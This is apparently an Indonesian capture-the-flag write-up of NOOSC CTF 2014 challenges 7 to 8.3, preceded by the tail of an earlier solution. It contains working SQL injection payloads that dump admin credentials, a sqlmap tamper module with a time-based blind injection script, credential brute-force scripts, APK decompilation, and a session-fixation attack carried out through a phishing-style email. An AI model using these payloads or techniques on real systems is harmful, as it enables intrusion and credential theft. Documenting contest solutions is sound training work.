Ok jadi ada 3 tabel config, inject, dan n1mbusadmin. Sekarang kita cek kolomnya. Kita bisa satu per satu seperti ini: python get.py "0 or 1 union (select 1,2,3,column_name from information_schema.columns where table_name='n1mbusadmin' limit 1 offset 0) limit 1 offset 2"

Atau kita gunakan trik group_concat yang sama: python get.py "0 or 1 union (select 1,2,3,group_concat(column_name separator '|') from information_schema.columns where table_name='n1mbusadmin') limit 1 offset 2"Hasilnya: "msg": "op|admin_id|admin_pass"Jadi tabel n1mbusadmin punya 3 field, op, admin_id, dan pass

Sementara tabel config: python get.py "0 or 1 union (select 1,2,3,group_concat(column_name separator '|') from information_schema.columns where table_name='config') limit 1 offset 2"Hasilnya: "msg": "admin_url"Cuma punya satu kolom: admin_urlTerakhir kita cek tabel inject: python get.py "0 or 1 union (select 1,2,3,group_concat(column_name separator '|') from information_schema.columns where table_name='inject') limit 1 offset 2"Sepertinya tidak penting: "msg": "op|point|ip|tm"

Ok sekarang kita liat isi tabelnya. Dimulai dari tabel config. Kita bisa cek isi fieldnya satu per satu:python get.py "0 or 1 union (select 1,2,3,admin_url from config) limit 1 offset 2"...."msg": "/1n1admbr0"

untuk usernya kita ambil dari n1mbusadmin:python get.py "0 or 1 union (select 1,2,3,admin_id from n1mbusadmin) limit 1 offset 2"...."msg": "backupuser" python get.py "0 or 1 union (select 1,2,3,admin_pass from n1mbusadmin) limit 1 offset 2"..."msg": "7cd1e06ab1df492e6a7e710d98a02d5b"Atau sebenarnya bisa langsung keduanyapython get.py "0 or 1 union (select 1,2,3,concat(op,'-',admin_id,'-',admin_pass) from n1mbusadmin) limit 1 offset 2"..."msg": "1-backupuser-7cd1e06ab1df492e6a7e710d98a02d5b"

Jadi usernamenya backupuser, passwordnya 7cd1e06ab1df492e6a7e710d98a02d5b. Kita coba pergi kehttp://bx5166.ctf.noosc.co.id:8080/1n1admbr0

Dan kita masukkan backupuser sebagai usernamenya dan 7cd1e06ab1df492e6a7e710d98a02d5b sebagai passwordnya, maka kita balik lagi ke halaman login. Ternyata passwordnya salah, dari panjangnya, ini adalah hasil hash. Jadi kita coba cari di website yang menyediakan layanan hash cracking.Hasil pertama dan kedua di browser saya untuk "md5 hash cracking" adalah http://www.md5decrypter.co.uk/ dan https://crackstation.net/. Untungnya yang pertama berhasil: m4ntapbr0Kita coba login lagi:

Dan berhasil. Sekarang kita download file backupnya.

Ternyata ini file .tar.gz, kita extract saja:Ada 3 file di dalamnya: yohanes@sophie:~$ tar -xf 103d697fb502c96eb89f376abfe3ecdf63bb77a6.tar.gz yohanes@sophie:~$ cd data yohanes@sophie:~/data$ ls -l total 16 -rw-r--r-- 1 yohanes yohanes 4550 Mar 18 08:49 data.sql.enc -rw-r--r-- 1 yohanes yohanes 13 Mar 18 08:50 key.txt -rw-r--r-- 1 yohanes yohanes 2049 Mar 27 05:24 Readme.txt

Isi file Readme.txt sepertinya ngawur saja. Isi file key.txt hanya satu baris saja laut_dibalik. Sementara isi data.sql.enc diencode dengan base64. Ini bisa terlihat dari jumlah baris per karakter, dan bahwa file tersebut hanya terdiri dari huruf, angka dan beberapa simbol saja. Bagian depan filenya seperti ini: U2FsdGVkX1/FvTZvFmlQjeB4TMhpodxdNZQS00cMf/z6AVVlLGsOPZZx+FZI9bMs ixFls/rlaTcifIbfS2bPsjyhdf0vrYYGd5+wOiM8/iKVdlm2bGLcxmJcymiZP0M2 i+ZjWzJM+ih/ky0Wla0FVAwemcsDU6r5qM0LNQ4lzbZDbvA5IHlVKks5d/krZMF9

Kita decode dulu filenya: cat data.sql.enc | base64 -d > hasil.txt(catatan: di OSX, gunakan -D, bukan -d)File apa ini? Jika dicoba dibuka dengan text editor, akan muncul karakter-karakter aneh, kita coba gunakan perintah "file": $ file hasil.txt hasil.txt: data

Tidak membantu sama sekali. Tapi perhatikan di bagian awal file ada Salted__. Kita google dulu "Salted__", pertama ketemu ini:http://hustoknow.blogspot.com/2013/02/openssl-encryption-libraries-add-salted.htmlIsinya cuma singkat: "When you encrypted data with a password using openssl command line, the first 16 bytes of the output are actually a header of the form 'Salted__XXXXXXXX' where the last 8 bytes represent the salt used to derive the key and the IV. "Oh jadi ini ada hubungannya dengan openssl, kita cari dengan kata kunci baru: "openssl salted__ base64 decrypt"Hasil pencarian menunjukkan saya ke halaman ini: http://www.madboa.com/geek/openssl/Setelah membaca-baca, ketemu perintah ini:openssl enc -d -aes-256-cbc -a -salt -in data.sql.enc

Ketikkan password laut_dibalik, dan berhasil keluar outputnnyaLihat di bagian akhir output: -- Dump completed on 2014-03-18 8:41:35 -- flag:h4ppy_1nj3ct_br0Ketemu flagnya.Challenge 7 NOOSC CTF 2014:Rekapitulasi SuaraSkenarioPerhitungan suara manual di masing-masing daerah baru saja selesai dilakukan. Untuk perhitungan suara secara nasional, Penyelenggara Pemilu menyediakan sebuah aplikasi client khusus yang digunakan oleh tim di daerah untuk mengirimkan hasil perhitungan suara manual masing-masing melalui Internet. Aplikasi client tersebut mengirimkan data ke pusat melalui web-service yang deskripsi layanannya berada di http://fx72657.ctf.noosc.co.id:8080/?wsdlRequest ke web-service memerlukan token khusus, yang bisa didapatkan setelah login dengan menggunakan username dan password. Username adalah salah satu kata yang ada di http://www.noosc.co.id/sme/, dan password adalah salah satu kata yang ada di http://www.noosc.co.id/trainings/. Ditengarai hacker sudah melakukan penyusupan ke dalam server aplikasi, dan memberikan hak akses khusus ke IP komputernya agar dia bisa masuk dan mengubah-ubah hasil real count pemungutan suara. Berdasarkan log, hacker diduga masuk menggunakan bug jenis blind-sql injection yang ada di salah satu web service. Percobaan eksploitasi di log terlihat terjadi dalam waktu singkat, sehingga melahirkan kesimpulan bahwa hacker mungkin mengeksploitasi bug ini dengan menggunakan tool open source yang sudah ditambahkan kemampuan tampering khusus agar dapat mengirimkan request terenkripsi dalam format yang disyaratkan oleh web service yang dituju.

ChallengeAnda diminta untuk masuk ke aplikasi dengan cara yang ditempuh oleh hacker, lalu mencari IP address (flag) yang sudah dimasukkannya ke database aplikasi.

SolusiSoalnya dan petunjuknya jelas sekali. Sudah lama saya tidak menyentuh SOAP/WSDL, tapi setelah baca wikipedia beberapa menit, ilmu saya sudah refresh lagi.https://en.wikipedia.org/wiki/Web_Services_Description_LanguageKita cek dulu method apa saja yang disediakan oleh WSDL ini:

Ok, sepertinya method Login itu yang kita cari di tahap paling awal (sesuai petunjuk Request ke web-service memerlukan token khusus, yang bisa didapatkan setelah login dengan menggunakan username dan password):Bagaimana mendapatkan username dan passwordnya? petunjuknya cukup jelas. "Username adalah salah satu kata yang ada di http://www.noosc.co.id/sme/, dan password adalah salah satu kata yang ada di http://www.noosc.co.id/trainings/."Username ada di sinihttp://www.noosc.co.id/sme/Dan password ada di sini:http://www.noosc.co.id/trainings/

Saya download halamannya, parse menjadi daftar kata-kata: wget http://www.noosc.co.id/sme/ -O users.html export IFS=" -\![]'" for i in `cat users.html`; do echo $i; done|sort -u > users.txt wget http://www.noosc.co.id/trainings/ -O passwords.html for i in `cat passwords.html`; do echo $i; done|sort -u > passwords.txtSaya belum pernah pake SOAP di python. Jadi saya cari dulu library apa saja yang ada di python untuk soap di python memakai google "python soap library". Ketemu ini http://stackoverflow.com/questions/206154/whats-the-best-soap-client-library-for-python-and-where-is-the-documentation-fDari deskripsinya, yang SUDS ini sepertinya menarik: "SUDS: Very Pythonic, and easy to create WSDL-consuming SOAP clients. Creating SOAP servers is a little bit more difficult."Cari apakah disupport Debian (distro yang saya pakai): $ apt-cache search python suds python-suds - Lightweight SOAP client for PythonOk ternyata ada. Dan ternyata memakainya cukup gampang, hasil dari "python suds tutorial stackoverflow".http://stackoverflow.com/questions/2063720/using-suds-to-test-wsdlSaya coba dulu di interpreter interactive Type "help", "copyright", "credits" or "license" for more information. >>> from suds.client import Client >>> x = Client("http://fx72657.ctf.noosc.co.id:8`080/?wsdl") >>> x.service.Login("user", "pass") Invalid Username # http://www.noosc.co.id/sme/ >>> Oh, ternyata kalau usernamenya salah, kita akan mendapatkan info bahwa usernamenya salah. Sekarang saya bisa membaut skrip singkat untuk scan nama usernya:from suds.client import Clientimport codecsimport sysx = Client("http://fx72657.ctf.noosc.co.id:8080/?wsdl")

with codecs.open(sys.argv[1], "r") as f: lines = f.readlines()

lines = [line.strip() for line in lines]

for user in lines: z = x.service.Login(user, "password") if (not z.startswith("Invalid Username")): print "found user ", user sys.exit(0) Supaya lebih cepet ketemunya, saya jalankan skripnya di dua console, pertama saya buat dulu daftar user terbalik (supaya dicari dari yg terakhir): tac users.txt > users-rev.txtLalu saya jalankan keduanya di dua window python scanuser.py users.txt python scanuser.py users-rev.txtTidak lama, dapet usernamenya: NooscBerikutnya bikin skrip serupa untuk passwordnya:from suds.client import Clientimport codecsimport sysx = Client("http://fx72657.ctf.noosc.co.id:8080/?wsdl")

with codecs.open(sys.argv[1], "r") as f: lines = f.readlines()

lines = [line.strip() for line in lines]

for password in lines: z = x.service.Login("Noosc", password) if (not z.startswith("Invalid Password")): print "found pass ", password print z sys.exit(0)Ternyata passwordnya penetration, dan ketika login benar, hasilnya seperti ini: found pass penetration Token : MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0|Encryptionkey : 618d78aa080b8415725149cd2170436fKita liat lagi method-method lain selain login: Balik lagi baca petunjuknya:hacker mungkin mengeksploitasi bug ini dengan menggunakan tool open source yang sudah ditambahkan kemampuan tampering khusus agar dapat mengirimkan request terenkripsi dalam format yang disyaratkan oleh web service yang dituju.Lihat bagian "Request terenkripsi", berarti harus ada proses enkripsinya, dari nama methodnya EncryptRequest, pasti ini yang digunakan untuk mengenkripsi. Kita coba saja dari interpreter python lagi: >>> from suds.client import Client >>> x = Client("http://fx72657.ctf.noosc.co.id:8`080/?wsdl") >>> x.service.EncryptRequest("1", "618d78aa080b8415725149cd2170436f") HXLGy7ntRURUZ5kwiwhlvU+BHQMwKURvvbluaPzOFJM=Oh ternyata mudah sekali: masukkan data yang ingin dienkrip, dan keynya, maka akan keluar hasilnya. OK berikutnya tinggal dua method lagi Biasanya SQL Injection itu ada di "get" untuk mendapatkan data, jadi kita bisa coba GetDetails. Token sudah jelas, sekarang coba parameter "request" dengan angka "1" >> x.service.GetDetails("MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0", "1") [2]Unabled to Decrypted your request# Invalid KeyOh ternyata harus dienkrip dulu, kita coba lagi: >> x.service.GetDetails("MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0", x.service.EncryptRequest("1", "618d78aa080b8415725149cd2170436f")) ID:1|Partai:Partai Caesar|Count:100|Note:Ok, jadi begitu cara memakai EncryptRequest dan GetDetails. Kita coba partai no 2 >> x.service.GetDetails("MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0", x.service.EncryptRequest("2", "618d78aa080b8415725149cd2170436f")) ID:2|Partai:Partai Troy|Count:70|Note:

Kita coba no 99999Cara otomatisPERHATIAN: cara ini tidak efisien, ini cara pertama yg terpikir oleh saya, bahkan saya gak sempet baca sourcenya sqlmap. Tapi dengan cara ini, saya bisa coding sedikit sekali, nggak mikir apa-apa, terus saya tinggal rapat. Lihat cara yang lebih benar di bagian berikut.Sejujurnya, saya nggak sempet membaca soal sqlmap, saya cuma baca tutorial singkat ini:http://bernardodamele.blogspot.com/2010/06/sqlmap-and-soap-based-web-services.htmlSetelah membaca sedikit soal sqlmap, saya langsung membuat modul tampering, berdasarkan contoh modul untuk base64, saya langsung bikin ini:from suds.client import Clientimport codecsimport sys

from lib.core.enums import PRIORITYfrom lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies(): pass

ctf_encryptor = None

def tamper(payload, **kwargs): global ctf_encryptor if ctf_encryptor is None: ctf_encryptor = Client("http://fx72657.ctf.noosc.co.id:8080/?wsdl")

print "PL ", payload[44:]

return ctf_encryptor.service.EncryptRequest("2"+payload[44:].encode(UNICODE_ENCODING), "618d78aa080b8415725149cd2170436f") if payload else payload Lalu sisanya saya serahkan ke sqlmap: python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encryptDan yang ketemu adalah time-based blind. Tapi ini sepertinya karena kesalahan saya dalam coding modul tamperingnya. --- Place: (custom) POST Parameter: SOAP #1* Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0Gdfj8pQG7TAjic1+1+hGn7Z2VZDSR8dzITl6eN832ws= AND SLEEP(5) Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) --- [15:18:17] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [15:18:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 7.0 (wheezy) web application technology: Apache 2.2.22, PHP 5.4.4 back-end DBMS: MySQL 5.0.11Sisanya saya menggunakan cara brutal: python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T --current-dbDapat nama databasenya: db_ctf_noosc_7Untuk mendapatkan tabelnya: python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T -D db_ctf_noosc_7 --tablesKeluar nama databasenya adalah acl dan vote_resultsMendapatkan kolomnya:python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T -D db_ctf_noosc_7 -T acl --columnsDapat hasilnya: +-----------+-------------+ | Column | Type | +-----------+-------------+ | id | int(1) | | ipaddress | varchar(50) | +-----------+-------------+

Saya pastikan ada berapa row: python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T -D db_ctf_noosc_7 -T acl --countTernyata cuma 1, jadi bisa cepat python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T -D db_ctf_noosc_7 -T acl -C id,ipaddress --dump --stop 1Seharusnya ini langkah terakhir tergampang. Waktu jam pulang kerja, di titik ini saya stuck karena jaringan selalu error. Akhirnya saya bikin skrip singkat. Intinya saya mengambil query yang dihasilkan oleh sqlmap, terus saya batasi supaya hanya mengecek 0123456789:abcdef karena itulah range karakter ipv6 (sebelumnya saya bikin query manual untuk check apakah ada karakter : atau . untuk menentukan apakah itu ipv4 atau ipv6). from suds.client import Client import time client = Client("http://fx72657.ctf.noosc.co.id:8080/?wsdl") chars = list('0123456789:abcdef') for i in range(1, 40): for c in chars: print "current ", i, c millis = int(round(time.time() * 1000)) client.service.GetDetails("MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0", client.service.EncryptRequest("2 AND 5569= IF(ORD(MID((SELECT ipaddress from acl limit 1),%d,1))=%d, SLEEP(5), 5569)" % (i, ord(c)), "618d78aa080b8415725149cd2170436f")) millisnow = int(round(time.time() * 1000)) if ((millisnow -millis)>4000): print "index ", i print "char ", c Setelah beberapa menit, ketemulah jawabannya.Cara manual yang cepatCara ini saya dapatkan setelah selesai menemukan semuanya di atas dengan sqlmap. Prompt >> artinya saya di shell python >>> token = "MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0" >>> key = "618d78aa080b8415725149cd2170436f"

>>> x.service.GetDetails(, x.service.EncryptRequest("99999",key))

[1]Unabled to Decrypted your request# Invalid Key or Invalid RequestTernyata kalo data yang diminta tidak ketemu salah hasilnya seperti itu.Dengan cara yang sama dengan soal 6: >> x.service.GetDetails(token, x.service.EncryptRequest("1 or 1 union select 1,2,3,4", key)) ID:1|Partai:2|Count:3|Note:4Dan cari nama tabelnya: >> x.service.GetDetails(token, x.service.EncryptRequest("1 or 1 union (select 1,2,3,group_concat(table_name separator '----') from information_schema.tables where table_type='base table') ", key)) ID:1|Partai:2|Count:3|Note:acl----vote_resultsLihat cuma ada dua tabel: acl dan vote_resultsCari nama kolom untuk acl: >> x.service.GetDetails(token, x.service.EncryptRequest("1 or 1 union (select 1,2,3,group_concat(column_name separator '---') from information_schema.columns where table_name='acl') ", key)) ID:1|Partai:2|Count:3|Note:id---ipaddressAda dua kolom: id dan ipaddress, kita bisa dapatkan keduanya langsung: >> x.service.GetDetails(token, x.service.EncryptRequest("1 or 1 union (select 1,2,id,ipaddress from acl) ", key)) ID:1|Partai:2|Count:1|Note:1780:f0d0:1002:0051:0000:1234:1234:1114Dan itulah flagnya: 1780:f0d0:1002:0051:0000:1234:1234:1114Oh iya: sepertinya flag ini kadang diganti oleh panitianya, karena di awal flag yang saya dapat adalah 2607:f0d0:1002:0051:0000:0000:0000:0004

Challenge 8 NOOSC CTF 2014: Part 1Catatan PanitiaChallenge 8.1 dimaksudkan untuk menunjukkan salah satu konsep penting yang perlu diperhatikan saat merancang sistem keamanan, yakni: proteksi software seperti apapun pasti bisa ditaklukkan jika penyerang telah memiliki akses penuh ke sistem operasi.Pengembang aplikasi memang bisa memakai teknik-teknik obfuscation untuk coba mempersulit cracker namun jika seluruh binary dan file yang dibutuhkan untuk menjalankan aplikasi telah dimiliki penyerang, dan ia memiliki kontrol terhadap lingkungan eksekusi aplikasi tersebut (OS maupun hardware), maka pembobolan sistem proteksi aplikasi tersebut hanyalah menjadi masalah waktu saja. Kondisi mendasar inilah yang menyebabkan mengapa proteksi macam DRM itu sulit diterapkan secara efektif tanpa adanya dukungan hardware khusus yang bersifat tamper resistant.Dalam challenge 8.1 ini, teknik obfuscation memang sengaja tidak dipakai karena memperhitungkan waktu kompetisi yang terbatas. Namun harapan kami keterbatasan proteksi software sebagaimana dijelaskan di atas tetap menjadi "take away message" untuk para peserta yang sempat mengerjakan skenario ini. Bagaimana juga, teknik security through obscurity seperti obfuscation hanyalah berguna untuk memperlambat dan mengalihkan perhatian saja, dan perlu ditopang teknik pengamanan lainnya untuk bisa lebih efektif. Kesalahan yang banyak terjadi dalam dunia nyata, adanya proteksi macam obfuscation justru menjadi alasan bagi developer untuk lebih lengah dalam menerapkan proteksi di bagian lain dan ini yang perlu kita coba hindari bersama.

SkenarioSetelah pengambilan suara selesai, Penyelenggara Pemilu kini dapat fokus untuk menelusuri jejak komplotan hacker yang sebelumnya sering melakukan serangan-serangan untuk mengacaukan jalannya Pemilu. Setelah proses investigasi awal, Anda berhasil menemukan suatu aplikasi Android (.apk) buatan tim hacker yang hanya dapat dijalankan di gadget anggota kelompok mereka. Aplikasi ini diduga dipakai oleh anggota tim hacker untuk mendapatkan key unik masing-masing, yang selanjutnya dapat dipakai anggota untuk mengakses sistem internal tim hacker.ChallengeAnda diminta untuk menemukan key (flag) salah satu anggota tim hacker.SolusiUntuk misi ini, penggunaan emulator dan SDK Android tidak mutlak diperlukan. Disini kita menggunakan tool yang umum dipakai, yaitu: dex2jar jd-gui Java Development Kit (JDK)Pertama yang harus kita lakukan adalah mengkonversi file .apk menjadi .jar menggunakan tool dex2jar. Selanjutnya kita buka file hasil konversi menggunakan tool jd-gui.Tool jd-gui memperlihatkan bahwa aplikasi ini terdiri dari beberapa package. Kita hanya perlu fokus ke satu package saja, yaitu com.anonymouse.access yang terdiri dari beberapa class seperti yang diperlihatkan pada gambar berikut.

Langkah berikutnya yaitu kita mencari fungsi utama yang menjalankan proses generate key. Fungsi utama ini bisa kita temukan di class FormActivity seperti yang bisa kita lihat di bawah. public void onClick(View paramView){ String str1 = UUID.randomUUID().toString(); String str2 = FormActivity.this.editTextMember.getText().toString(); byte[] arrayOfByte1 = { 97, 108, 103, 101, 98, 114, 97 }; byte[] arrayOfByte2 = { 102, 97, 114, 97, 98, 105 }; byte[] arrayOfByte3 = { 101, 117, 108, 101, 114 }; byte[] arrayOfByte4 = { 103, 97, 117, 115, 115 }; byte[] arrayOfByte5 = { 100, 101, 115, 99, 97, 114, 116, 101, 115 }; String str3 = new String(arrayOfByte1); if (str2.equals(str3)){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + str3.charAt(3))); return; } if (str2.equals(new String(arrayOfByte2).toString())){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + new String(arrayOfByte2).charAt(3))); return; } if (str2.equals(new String(arrayOfByte3).toString())){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + new String(arrayOfByte3).charAt(2))); return; } if (str2.equals(new String(arrayOfByte4).toString())){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + new String(arrayOfByte4).charAt(3))); return; } if (str2.equals(new String(arrayOfByte5).toString())){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + new String(arrayOfByte5).charAt(6))); return; } if (str2.length() < 2){ FormActivity.this.editTextKey.setText(FormActivity.this.getString(2131230761)); return; } FormActivity.this.editTextKey.setText(str1); } Fungsi ini juga menjalankan fungsi lain di luar class FormActivity, yaitu fungsi b() yang ada di class Utils seperti yang terlihat seperti di bawah. public static final String b(String paramString) { try { MessageDigest localMessageDigest = MessageDigest.getInstance(new String(new byte[] { 77, 68, 53 })); localMessageDigest.update(paramString.getBytes()); byte[] arrayOfByte = localMessageDigest.digest(); StringBuffer localStringBuffer = new StringBuffer(); int i = 0; if (i >= arrayOfByte.length) return localStringBuffer.toString(); String str; for (Object localObject = Integer.toHexString(0xFF & arrayOfByte[i]); ; localObject = str){ if (((String)localObject).length() >= 2){ localStringBuffer.append((String)localObject); i++; break; } str = "0" + (String)localObject; } } catch (Exception localException){ localException.printStackTrace(); } return (String)""; } Code ini butuh penyesuaian, karena hasil output jd-gui agak sedikit berantakan di bagian for loop. Sehingga code baru akan nampak seperti dibawah public static String b(String paramString) throws NoSuchAlgorithmException{ MessageDigest localMessageDigest = MessageDigest.getInstance(new String(new byte[] { 77, 68, 53 })); localMessageDigest.update(paramString.getBytes()); byte[] arrayOfByte = localMessageDigest.digest(); StringBuffer localStringBuffer = new StringBuffer(); int i = 0; String str=""; for (;;){ if (i >= arrayOfByte.length) return localStringBuffer.toString(); String localObject = Integer.toHexString(0xFF & arrayOfByte[i]); if (((String)localObject).length() < 2){ str = "0" + (String)localObject; localObject = str } localStringBuffer.append((String)localObject); i++; } }

Kemudian kita tinggal mencari satu komponen lagi, yaitu variabel FormActivity.this.a. Variabel ini di-assign di dalam fungsi initFacebookInfo() private void initFacebookInfo(){ Session localSession = Session.getActiveSession(); Request.newMeRequest(localSession, new Request.GraphUserCallback(localSession){ public void onCompleted(GraphUser paramGraphUser, Response paramResponse){ if ((this.val$session == Session.getActiveSession()) && (paramGraphUser != null)){ FormActivity.this.profilePicture.setProfileId(paramGraphUser.getId()); FormActivity.this.textUsername.setText(paramGraphUser.getName()); FormActivity.this.a = paramGraphUser.getUsername(); } if (paramResponse.getError() != null) Toast.makeText(FormActivity.this.getApplicationContext(), "Failed to get user info", 0).show(); } }).executeAsync(); }

Sekarang kita tinggal menulis ulang apa-apa yang telah kita dapatkan di atas. import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class Main { public static String b(String paramString) throws NoSuchAlgorithmException{ MessageDigest localMessageDigest = MessageDigest.getInstance(new String(new byte[] { 77, 68, 53 })); localMessageDigest.update(paramString.getBytes()); byte[] arrayOfByte = localMessageDigest.digest(); StringBuffer localStringBuffer = new StringBuffer(); int i = 0; String str=""; for (;;){ if (i >= arrayOfByte.length) return localStringBuffer.toString(); String localObject = Integer.toHexString(0xFF & arrayOfByte[i]); if (((String)localObject).length() < 2){ str = "0" + (String)localObject; localObject = str; } localStringBuffer.append((String)localObject); i++; } } public static void clickButton(String str2) throws NoSuchAlgorithmException{ byte[] arrayOfByte1 = { 97, 108, 103, 101, 98, 114, 97 }; byte[] arrayOfByte2 = { 102, 97, 114, 97, 98, 105 }; byte[] arrayOfByte3 = { 101, 117, 108, 101, 114 }; byte[] arrayOfByte4 = { 103, 97, 117, 115, 115 }; byte[] arrayOfByte5 = { 100, 101, 115, 99, 97, 114, 116, 101, 115 }; String str3 = new String(arrayOfByte1); System.out.println(Main.b(str2+new String(arrayOfByte5).charAt(6))); } public static void main(String[] args) throws NoSuchAlgorithmException { if (args.length > 0) { String str2 = args[0]; //facebook username Main.clickButton(str2); }else{ System.out.println("Please supply valid username"); } } } Kemudian kita lakukan kompilasi menggunakan JDK dan jalankan aplikasi dengan argumen username. Setiap peserta akan mendapatkan flag yang unik :)

Challenge 8 NOOSC CTF 2014: Part 2Catatan PanitiaChallenge 8.2 ini ditujukan untuk menggarisbawahi pentingnya faktor manusia dalam pengamanan informasi. Dalam kegiatan penetration testing yang sesungguhnya, informasi yang telah dilindungi oleh sistem pengamanan berlapis dan mutakhir terkadang malah mudah ditembus dengan mengeksploitasi faktor yang seringkali menjadithe weakest link in the security chainini.Untuk memenuhi tujuan di atas, maka kelemahan yang sengaja ditanam dalam aplikasi target di sini adalah kelemahan jenissession-fixation, dan peserta diharapkan mengeksploitasinya dengan teknik social-engineering via email. Selama proses CTF berlangsung, kami cukup terkejut ketika menyadari bahwa rupanya dari beberapa peserta yang sempat mengirimkan email ke target, cumasatu sajayang langsung secara sistematis menyerang fungsi login ke aplikasi.Hal lain yang juga mengejutkan, rupanya dalam pelaksanaan CTF terdapat tiga peserta yang berhasil mengalahkan challenge ini tanpa melalui jalur penyelesaian resmi di atas :). Sebagai contoh,Yohanes berhasil masuk dengan memanfaatkan kesalahan aplikasi yang melakukan validasi login melalui fungsi PHPstrcmp(). Kedua peserta lainnya kemungkinan besar juga menggunakan cara yang sama, karena kami tidak menemukan email dari mereka di dalam mailbox alamat email yang menjadi target social engineering.Komentar kami terhadap kesalahan penggunaanstrcmp()itu? Maklum developernya tidak biasa pakai PHP karena sudah sejak lama bahasa itu diharamkan bagi pengembangan di internal Noosc :).Selanjutnya, mari kita bahas cara penyelesaian resmi yang memakai teknik social engineering via email untuk mengeksploitasi kelemahan session-fixation dalam aplikasi target challenge 8.2.SkenarioSkenario ini merupakan lanjutan dariChallenge 8.1Key yang sebelumnya Anda dapatkan ternyata dapat dipakai untuk membuka file terenkripsi yang lupa dihapus oleh tim hacker di salah satu sistem Pemilu. File tersebut berisi alamat URL ke forum tim hacker, yakni http://f0rumh4x.ctf.noosc.co.id:8080/ChallengeAnda harus menyusup ke dalam forum tim hacker untuk mencari informasi tentang target investigasi (flag) selanjutnya.SolusiHalaman forum tim hacker yang dimaksud diperlihatkan pada gambar berikut.

Di halaman tersebut yang perlu diperhatikan selain form login yang mengarah kelogin.php, adalah alamat email [email protected], dan kalimat"Contact Us if you have interesting hacking project."Jika kita mengirimkan email ke alamat tersebut, maka script bot di sisi server akan secara otomatis menjawab dengan pesan sebagai berikut:

Jawaban di atas akan terus diberikan sampai kita mengirimkan pesan email berisi alamat URL. Jika itu kita lakukan, bot akan mengakses URL tersebut dengan perintahcurldan menjawab balik dengan pesan di bawah ini:

Perintahcurlyang dijalankan bot akan selalu berisi data POST untuk parameterusernamedanpassword, dan ini dapat dengan mudah dicek dengan mengirimkan URL alamat situs yang kita kontrol, lalu menggunakan perangkat macam tcpdump atau wireshark untuk menangkap hasilnya. Bot tidak akan mengirimkan password yang sebenarnya jika URL yang diakses berbeda dengan alamat forum, tapi paling tidak kita dapat mengetahui bahwa ada data post yang dikirimkan setiap kali kita mendapat jawaban "menuju ke tkp masganbro".Selanjutnya, yang perlu dilakukan hanyalah: Membuka situs http://f0rumh4x.ctf.noosc.co.id:8080/ dengan browser; Mencatat atau mengeset parameterPHPSESSIDyang ditunjukkan di address bar; Mengirimkan email berisi URL ke http://f0rumctf.noosc.co.id:8080/login.php?PHPSESSID=string-yang-sesuai; Menunggu kurang lebih satu menit, lalu refresh browser.Kita akan langsung otomatis masuk ke halaman admin.php sebagai berikut.

Flag adalah salah satu pasangan IP dan port di atas. Tinggal dicoba masukkan satu-persatu, hingga ketemu yang valid:182.253.226.158:45371

Challenge 8 NOOSC CTF 2014: Part 3Catatan PanitiaChallenge ini ditujukan untuk mengasah dan menguji kemampuan analisa kasus para peserta terhadap keseluruhan rantai investigasi challenge 8, mulai dari 8.1 sampai 8.3. Dalam investigasi kasus sesungguhnya, bukti dan petunjuk seringkali tersebar di beberapa tempat, tidak muncul ke permukaan secara sekuensial, dan tidak langsung jelas memiliki keterkaitan antara satu dan lainnya.Untuk mewujudkan tujuan itu, maka challenge 8.3 dirancang untuk tidak memiliki bug yang berdiri sendiri, dan penyelesaiannya harus memanfaatkan sebagian informasi dari 8.1 dan/atau 8.2. Secara singkat, alur penyelesaian challenge 8.3 ini adalah sebagai berikut: Peserta memeriksa target sistem yang diberikan, dan mengetahui versi software yang berjalan di sana (openftpd versi 1.3.0) Peserta mencari informasi tentang software tersebut dan menemukan informasi tentang kelemahan dan eksploit publik macam CVE-2006-5815 Peserta mempelajari informasi publik yang ada, dan menyadari bahwa diperlukan akses "write" lewat FTP untuk dapat melakukan eksploitasi. Peserta menyadari ia telah mengantongi beberapa nama user saat menyelesaikan skenario 8.1. Peserta menelusuri kembali sumber kode 8.1, dan mencoba memasukkan nama-nama user tersebut ke fungsi password generator yang ada di aplikasi tersebut. Peserta berhasil masuk ke server FTP dengan nama user dan password temuannya, sehingga ia kini memiliki hak akses "write" ke server.Dan setelah memiliki hak akses "write" tersebut, peserta dapat memilih dua alternatif berbeda untuk coba menyelesaikan challenge ini: pertama, meneruskan alur pikiran sebelumnya untuk mencoba melakukan eksploitasi terhadap openftpd 1.3.0; atau kedua, mencari petunjuk lebih lanjut dengan terlebih dahulu memeriksa isi direktori di server FTP dengan teliti.Dari kedua alternatif tersebut, cara kedua jauh lebih mudah dari yang pertama. Alternatif kedua hanya perlu membaca petunjuk yang disembunyikan di file .profile, sedangkan alternatif pertama melibatkan 